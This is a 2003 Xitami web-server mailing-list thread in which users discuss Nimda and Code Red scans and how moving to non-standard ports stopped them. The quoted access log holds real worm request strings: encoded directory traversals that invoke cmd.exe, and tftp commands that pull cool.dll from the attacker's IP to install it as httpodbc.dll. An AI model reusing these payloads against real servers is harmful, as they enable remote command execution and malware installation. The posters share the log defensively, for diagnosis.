[Xitami] Nimda & status 200 message

[Charles Schmidling]

Greetings,

All those errors were really bugging me and since the server is only a P166,
I wanted them gone.  Solved it by changing the portbase variable in the
config file.  This moved my HTTP and FTP ports from non standards (80 and
21) to my own choosing (+portbase).  I haven't been scanned since.  The
firewall is getting hit a lot though...

My domain registrar (Stargate) supports URL forwarding, along with port
number.  So I forward to http://xx.my.ip.no:newport/valid_dir/index.htm and
it works.  Well, at least one domain does, anyway.  I've set up 5 more that
have yet to come online (this is day 3).

The next step is to register one domain with a DDNS service (probably
DynDNS.ORG) and see if I can forward to a port through that domain.

The only problem I have is getting the resident DOS FTP utility to access
the new FTP port.  IE gets in and I imagine any decent GUI does too.  Just
haven't spent the time researching it.

Much luck,
Charles

PS What is sad is that the IP's that scan me reverse to clients on ATTBI,
which means these are mostly corrupted personal machines.  Or have the IPs
been spoofed?


----- Original Message -----
From: "Richard Leitch" <dick@leitchfamily.freeserve.co.uk>
To: <xitami@lists.xitami.org>
Sent: Saturday, March 15, 2003 6:07 AM
Subject: [Xitami] Nimda & status 200 message


> Hi,
> New to this, hope that someone can put my mind at rest.
>
> Am getting lots of hits from codered and codered11 which are getting 404
replies.
> Am also getting hits from Nimda, but some lines are getting a 200 reply.
Why? and is it a probem?
>
> Checked out the archives before sending this, it was discussed in Sept
2001 but no real answer.
>
> Am running v2.5b4 on win98 behind winroute (kerio) firewall.
>
> below is a portion of my access log, the 200 replies start at line 13.
>
> 80.5.247.49 - - [12/Mar/2003:21:29:33 +0000] "GET /scripts/root.exe?/c+dir
HTTP/1.0" 404 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:29:34 +0000] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:29:36 +0000] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:29:37 +0000] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:29:38 +0000] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:29:39 +0000] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:29:43 +0000] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:29:44 +0000] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:29:48 +0000] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:29:49 +0000] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:29:50 +0000] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:29:51 +0000] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:29:52 +0000] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:29:53 +0000] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%2080.5.247.49%20GET
%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:29:54 +0000] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%2080.5.247.49%20GET
%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:29:55 +0000] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%2080.5.247.49%20GET
%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:29:56 +0000] "GET
/scripts/..%%35%63../httpodbc.dll HTTP/1.0" 200 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:29:58 +0000] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:29:59 +0000] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%2080.5.247.49%20GET%2
0cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:30:00 +0000] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%2080.5.247.49%20GET%2
0cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:30:01 +0000] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%2080.5.247.49%20GET%2
0cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:30:05 +0000] "GET
/scripts/..%%35c../httpodbc.dll HTTP/1.0" 200 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:30:06 +0000] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 80.5.247.49 - - [12/Mar/2003:21:30:16 +0000] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
>
> Best regards.
>
> Richard Leitch
> dick@leitchfamily.freeserve.co.uk
> 2003-03-15
>
>
>
>
> --
> Xitami Users Mailing List -- For Xitami support
> To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami